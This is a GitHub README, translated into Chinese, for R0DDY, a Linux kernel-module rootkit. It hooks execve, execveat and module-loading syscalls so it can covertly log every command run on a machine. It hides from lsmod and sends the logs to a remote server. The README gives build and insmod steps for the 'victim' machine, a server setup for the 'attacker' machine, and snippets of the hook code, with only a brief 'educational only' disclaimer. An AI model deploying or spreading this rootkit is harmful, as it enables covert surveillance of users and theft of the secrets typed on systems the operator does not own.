Trevohack/R0DDY

GitHub: Trevohack/R0DDY

R0DDY 是一个 Linux 内核级 rootkit(LKM),通过 hook execve 等系统调用来隐蔽地记录系统上所有执行过的命令并支持远程回传。

Stars: 17 | Forks: 3

![image](https://github.com/user-attachments/assets/cd2108da-a584-46de-91f5-52e1058dc6b0)
R0DDY: Linux kernel-level rootkit (ring0) to log all commands executed in the system now remotely.
GitHub Repo stars Static Badge Static Badge

Install Documentation Usage

## R0DDY - VOID - 通过 `http` 服务器远程记录命令 - LKM - [RODDY - void](https://github.com/Trevohack/R0DDY/tree/main/src/R0DDY%20-%20Void) #### 在受害者机器上的设置 ``` git clone https://github.com/Trevohack/R0DDY cd 'R0DDY/R0DDY - Void' make insmod roddy.ko ``` #### 在攻击者机器上的设置 ``` git clone https://github.com/Trevohack/R0DDY cd 'R0DDY/R0DDY - Void/server' python3 server.py ``` - 记录的命令将保存在数据库中,使用 `db-viewer.py` 文件进行查看 image ### 特性 - **隐蔽模式**:R0DDY 将自身从 `lsmod` 输出中隐藏,使其难以通过常见的系统管理命令被检测到。 - **命令记录**:在系统上运行的每条命令都会被记录到 `/var/log/cmd.log` 中。 * **兼容性**:目前支持 `4.X` 内核(不支持较旧的内核) - 日志内容包括: - **TTY**:执行命令的终端。 - **目录**:运行命令时的工作目录。 - **时间**:命令执行的时间戳。 - **二进制文件**:正在执行的二进制文件或脚本。 - **完整命令**:带参数的完整命令。 - **Syscall Hooks**:为了实现这一点,R0DDY hook 了负责执行程序的 `execve` 和 `execveat` 系统调用。 - hook `init_module` 和 `finit_module` 以阻止插入其他 rootkit。 - 被 hook 的系统调用总数:`4` ![image](https://github.com/user-attachments/assets/b2d1ac54-0d30-4024-bf74-2b531c8f29f8) ## 重要说明 - **仅供教育目的**:R0DDY 仅用于教育目的。请负责任地使用它,并了解部署 rootkit 的法律后果。 - **兼容性**:R0DDY 可能无法在较旧的 Linux 内核上运行。它依赖于特定的系统调用实现以及仅在较新内核版本中才有的其他功能。 ## 代码示例 ### Hook `execve` `hook_execve` 函数是一个系统调用 hook,用于替换原始的 `execve` 系统调用。它会拦截每一次程序的执行,记录相关细节,并根据需要执行额外的操作(例如在必要时隐藏 rootkit)。以下是它的工作原理详细说明: **函数签名:** ``` notrace asmlinkage long hook_execve(const char __user *filename, const char __user *const __user *argv, const char __user *const __user *envp) ``` * `notrace`:防止函数被追踪,从而提高隐蔽性。 * `asmlinkage`:确保函数参数通过堆栈传递(在系统调用实现中很常见)。 * 参数: - `filename`:正在运行的可执行文件的路径。 - `argv`:传递给可执行文件的参数数组。 - `envp`:传递给可执行文件的环境变量数组。 1. **禁用命令检查:** ``` if (check_forbidden_command(filename, argv)) { return 0; } ``` * 目的:检查正在运行的命令是否与一组禁用的命令相匹配。 * 如果该命令被禁用,函数将返回 0,这意味着该命令将被阻止且不予执行。 2. **记录命令:** ``` log_command(filename, args, cwd, tty); ``` * 目的:记录命令执行的细节。它记录的内容包括: * `filename`:正在运行的可执行文件。 * `args`:传递给该命令的参数。 * `cwd`:当前工作目录。 * `tty`:运行该命令的终端。 `hook_execve` 函数 hook 了系统的 `execve` syscall,记录有关每条执行命令的细节(例如可执行文件名、参数、当前目录和终端)。它还会在需要时隐藏 rootkit 并阻止禁用的命令。记录完成后,它会将控制权交还给原始的 `execve` 以正常运行命令。错误处理机制确保在发生失败时能够正确释放内存。 ## 即将推出的特性 * [X] 捕获运行命令的 tty * [x] 捕获运行命令时的当前工作目录 * [x] 获取命令运行的时间 * [x] R0DDY 隐藏自身 * [ ] 隐藏日志文件 * [ ] 兼容较旧和较新的内核 * [ ] 持久化 * [x] 高效的日志记录 * [x] 阻止插入其他 LKM/rootkit * [X] 记录命令并通过服务器发送 ## 安装 1. Git: ``` git clone https://github.com/Trevohack/R0DDY cd R0DDY make ``` ## 用法 * 将 R0DDY 插入内核! ``` insmod R0DDY.ko ``` * 查看并关注 `/var/log/cmd.log` ``` tail -f /var/log/cmd.log cat /var/log/cmd.log ``` ## 贡献 * 我们欢迎各种贡献来帮助增强这个工具!如果您有兴趣协作,请随时联系我们:[Discord 服务器](https://discord.gg/38uDGNGU) 。感谢您的支持!
标签:Linux内核, LKM, Rootkit, Zeek, 命令记录, 子域名变形, 逆向工具